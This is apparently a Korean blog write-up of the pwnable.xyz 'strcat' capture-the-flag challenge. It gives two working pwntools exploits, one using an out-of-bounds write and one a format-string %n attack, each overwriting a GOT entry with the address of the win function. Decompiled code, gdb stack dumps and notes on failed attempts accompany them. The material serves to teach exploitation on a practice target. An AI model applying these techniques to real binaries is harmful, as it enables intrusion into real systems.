# exploit 1 (using OOB)
from pwn import *
p = remote("svc.pwnable.xyz", 30013)
# p = process("./challenge")
e = ELF("./challenge")
p.recvuntil("Name: ")
p.send('\x00')
p.recvuntil("Desc: ")
p.sendline("hahaha")
for i in range(8):
p.sendlineafter("> ", "1")
p.recvuntil("Name: ")
p.send("\x00")
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", 'A'*0x80+'\x30\x20\x60') # strlen@got
p.sendlineafter("> ", "2")
# strlen@got 바로 다음이 system@got이어서 1바이트라도 오버하면 system("cat /flag") 실행 안됨ㅋㅋ
p.sendafter("Desc: ", p64(e.symbols['win']))
p.interactive()
# exploit 2 (using fsb)
from pwn import *
p = remote("svc.pwnable.xyz", 30013)
# p = process("./challenge")
e = ELF("./challenge")
putchar_got = e.got['putchar']
winAddr = e.symbols['win']
''' %ln 쓰면 8byte overwrite 가능하다
p.recvuntil("Name: ")
p.sendline("%{}c%6$nAAAAAAA".format(e.got['puts'])) # 주소=8자리 정수
p.recvuntil("Desc: ")
p.send("%{}c%36$lnEND".format(winAddr)) # 주소=8자리 정수
'''
p.recvuntil("Name: ")
p.sendline("%{}c%6$nAAAAAAA".format(putchar_got)) # 주소=8자리 정수
p.recvuntil("Desc: ")
p.send("%{}c%36$nEND".format(winAddr)) # 주소=8자리 정수
p.sendlineafter("> ", "3")
p.recvuntil("END") # 엄청난 공백이 출력되므로 나만의 flg를 만들어 거기까지 받아버리자
#gdb.attach(p)
#pause()
p.interactive()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int int32; // eax
int v4; // ebx
unsigned int v5; // ebx
size_t v6; // rax
setup(argc, argv, envp);
puts("My strcat");
// 전역변수 maxlen (4byte)
maxlen = 128;
printf("Name: ");
// 전역변수 name에 최대 128자 입력받는데, 마지막바이트는 NULL 처리, NULL 전까지 바이트수 반환
maxlen -= readline(name, 128LL);
desc = (char *)malloc(0x20uLL);
printf("Desc: ");
// 전역변수 desc에 최대 32자 입력받는데, name 길이 기준 마지막바이트 NULL처리
// char name[128] 바로 뒤에 (void *)desc 있다
readline(desc, 32LL);
while ( 1 )
{
print_menu(); // puts("Menu:\n1. Concat to name.\n2. Edit description.\n3. Print it all.");
printf("> ");
int32 = read_int32();
switch ( int32 )
{
case 2:
printf("Desc: ");
readline(desc, 32LL);
break;
case 3:
printf(name);
printf(desc);
putchar(10);
break;
case 1:
printf("Name: ");
v4 = maxlen;
// cf) strlen: '\0'문자를 만나기 전까지의 byte수
v5 = v4 - strlen(name);
v6 = strlen(name);
maxlen -= readline(&name[v6], v5);
break;
default:
puts("Invalid");
break;
}
}
}
__int64 read_int32()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
char *nptr; // [rsp+8h] [rbp-8h]
nptr = (char *)malloc(0x20uLL);
readline(nptr, 32LL);
v1 = atoi(nptr);
free(nptr);
return v1;
}
__int64 __fastcall readline(void *a1, int a2)
{
int v2; // eax
read(0, a1, a2);
v2 = strlen(name);
*((_BYTE *)a1 + v2 - 1) = 0;
return (unsigned int)(v2 - 1);
}
- Partial RELRO No canary found NX enabled No PIE
- name[0x80]과 desc 포인터가 나란히 붙어있네
- 그리고 maxlen>0으로 유지되는지 검사하는 루틴이 없네? (무한정 read 가능?)
- movzx: 부호없는 산술값에서 사용됨, 목적지 피연산자의 왼쪽 비트들을 0으로 채움
- movsx: 부호있는 산술값에서 사용됨, 목적지 피연산자의 왼쪽 비트들을 부호비트로 채움
pwndbg> disas readline
Dump of assembler code for function readline:
~~
0x000000000040097a <+8>: mov QWORD PTR [rbp-0x18],rdi ; 첫번째 인자
0x000000000040097e <+12>: mov DWORD PTR [rbp-0x1c],esi ; 두번째 인자
0x0000000000400981 <+15>: mov eax,DWORD PTR [rbp-0x1c]
0x0000000000400984 <+18>: movsxd rdx,eax ; 3번째 인자에 a2를 부호 고려해 확장해버림
; readline 두번째 인자 unsigned int 였다면 movzxd rdx,eax였을 것
0x0000000000400987 <+21>: mov rax,QWORD PTR [rbp-0x18]
0x000000000040098b <+25>: mov rsi,rax
0x000000000040098e <+28>: mov edi,0x0
0x0000000000400993 <+33>: call 0x400790 <read@plt>
<exploit 계획1 - readline 두번째 인자로 음수 넘기면 엄청 큰 unsigned int size로 인식?!>
1. 처음에 Name엔 66자, Desc엔 아무렇게나 입력. maxlen = 128-65 = 63 될거임
2. case 1 선택. readline(&name[65], 0xfffffffe) 호출될 것임.
3. read(0, &name[65], 0xfff~ffffe) 호출. 63자 입력 후 strlen@got 주소 8byte 입력 후 엔터
4. case 2 선택. win주소 8자 입력
[problem]
3번에서 입력한 값이 버퍼에 안들어감. read 실패 후 -1 리턴. 왜???
2번에서 두번째 인자로 0xfffffffe 넘어가서 read의 size_t 인자로 들어갈 땐 0xffff~ffffe 로 확장된다
In practice, a read() with a count larger than SSIZE_MAX results in an EFAULT
값이 너무 커서 read 실패한 듯. (-1리턴) 쨌든 readline의 두번째 인자로 음수를 넘겨서는 안된다!
- readline() 리턴값 -1을 이용해 maxlen을 128보다 크게 만들자
<exploit 계획2>
1. 처음에 name에 널바이트 입력, desc엔 아무렇게 입력. maxlen = 128-(-1) = 129
2. case 1 선택 후 널바이트 입력 * 4번반복. maxlen = 129-(-3)=132
3. case 1 선택 후 'A'*128+strlen@got 주소+'\n' 입력
4. case 2 선택 후 win주소 입력
[주의할 점]
p64(e.got['strlen'] = \x30\x20\x60\x00 ~ 에서 널바이트 전 바이트 지워지므로 수동으로 세바이트+a 입력
GOT에 win addr overwrite 할 땐 널바이트 신경 안써도 됨 (어떤 함수의 got overwrite 해도 됨)
*((_BYTE *)a1 + v2 - 1) = 0; 에서 v2=strlen(name)에서 가져오므로
- printf(name); printf(desc); 에서 fsb 취약점 발생
- fsb란 스택의 값을 읽어오거나, 스택에 주솟값 넣어두고 그 주소에 값을 쓰는 행위...
- 주솟값을 넣을 마땅한 버퍼가 없다. 스택에 위치한 스택주솟값들을 이용하자 !!!!!!
- case 3에서 첫번째 printf 호출 직전에 bp 걸고 스택상황 살펴보자
(printf 직전 스택 상황은 로컬이나 원격이나 동일할 것, 왜 이 값이 들어있는지는 알 수 x)
(ASLR 적용되어도 스택 내 offset은 일정할 것)
pwndbg> x/6gx $rsp
0x7fffffffde00: 0x00007fffffffdef0 0x0000000000000000
0x7fffffffde10: 0x0000000000400b90 0x00007ffff7a03c87
0x7fffffffde20: 0x0000000000000001 0x00007fffffffdef8
- 스택에 스택주소로 보이는(0x00007fffffffdef0, 0x00007fffffffdef8) 블록들이 몇 있다, 사용해보자.
pwndbg> x/gx 0x00007fffffffdef0
0x7fffffffdef0: 0x0000000000000001
pwndbg> x/gx 0x00007fffffffdef8
0x7fffffffdef8: 0x00007fffffffe28b
- 두번째는 got주소를 써넣기에 적합하지 않다 (4byte보다 더 차있음)
- QWORD_PTR [rsp]가 몇번째 %p에 등장하는지 보자(%p %p %p %p .... 입력) -> 6번째에 등장
[원격에서 테스트해보니 6번째에 스택 값처럼 보이는 게 등장했다]
- 그렇다면 0x00007fffffffdef0는 6+(0xf0/0x8)=36번째 %p에 등장할 것
[원격에서 테스트해보니 36번째에 1이 들어있었다 - 로컬/원격 환경 동일함을 확신]
pwndbg> c
Continuing.
0x603018 0x603010 0x1 0x603291 (nil) 0x7fffffffdef0 (nil)
원격에선>
(nil) 0x1892018 0x1892010 (nil) 0x1999999999999999 0x7ffd0ea492a0 (nil)
<exploit 계획>
1. step1: 0x00007fffffffdef0이 몇번째 %p에 등장하는지 확인 = 6번째 (in 원격, 로컬)
2. step2: %6$n 해서 0x00007fffffffdef0에 got 주소 저장 (printf(name); 에서)
3. step3: %36$n 해서 got에 win 주소 저장 (printf(desc); 에서)
4. step4: option3 선택해 printf문 실행시킨다
<주의할 점>
readline() 함수에서 name 길이-1에 해당하는 바이트를 널로 만든다.
name 문자열 길이가 desc 문자열 길이보다 충분히 길면 문제 안될 듯
v2 = strlen(name);
*((_BYTE *)a1 + v2 - 1) = 0;
GOT 4byte overwrite 가능하므로 fsb 실행 시점에 한번도 실행 안 된 함수의 GOT이어야 한다
한번이라도 실행됐으면 0x7f~ 주소가 들어있으므로 4byte overwrite으론 부족
putchar, exit, system 있는데 이 중 putchar만 코드 흐름상에서 호출 가능
처음 알게된 사실인데 %ln하면 8byte 쓸 수 있나보네? 그러면 어떤 함수의 GOT이든 overwrite 가능하지~
새롭게 알게 된 점
- read(fd,buf,size)에서 size로 음수를 주면 엄청 큰 정수로 인식한다
- 하지만 size가 너무 커지면 읽어들이지 않고 바로 -1 리턴해버린다
- %ln 를 이용하면 8byte overwrite이 가능하다
- 스택에 주소를 입력할 마땅한 버퍼가 없으면 rsp 근처에 저장된 스택주솟값을 활용해 스택에 user input 입력하자
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - message (0) | 2023.02.16 |
---|---|
pwnable.xyz - iape (0) | 2023.02.15 |
pwnable.xyz - J-U-M-P (0) | 2023.02.12 |
pwnable.xyz - SUS (0) | 2023.02.09 |
pwnable.xyz - fspoo (0) | 2023.02.09 |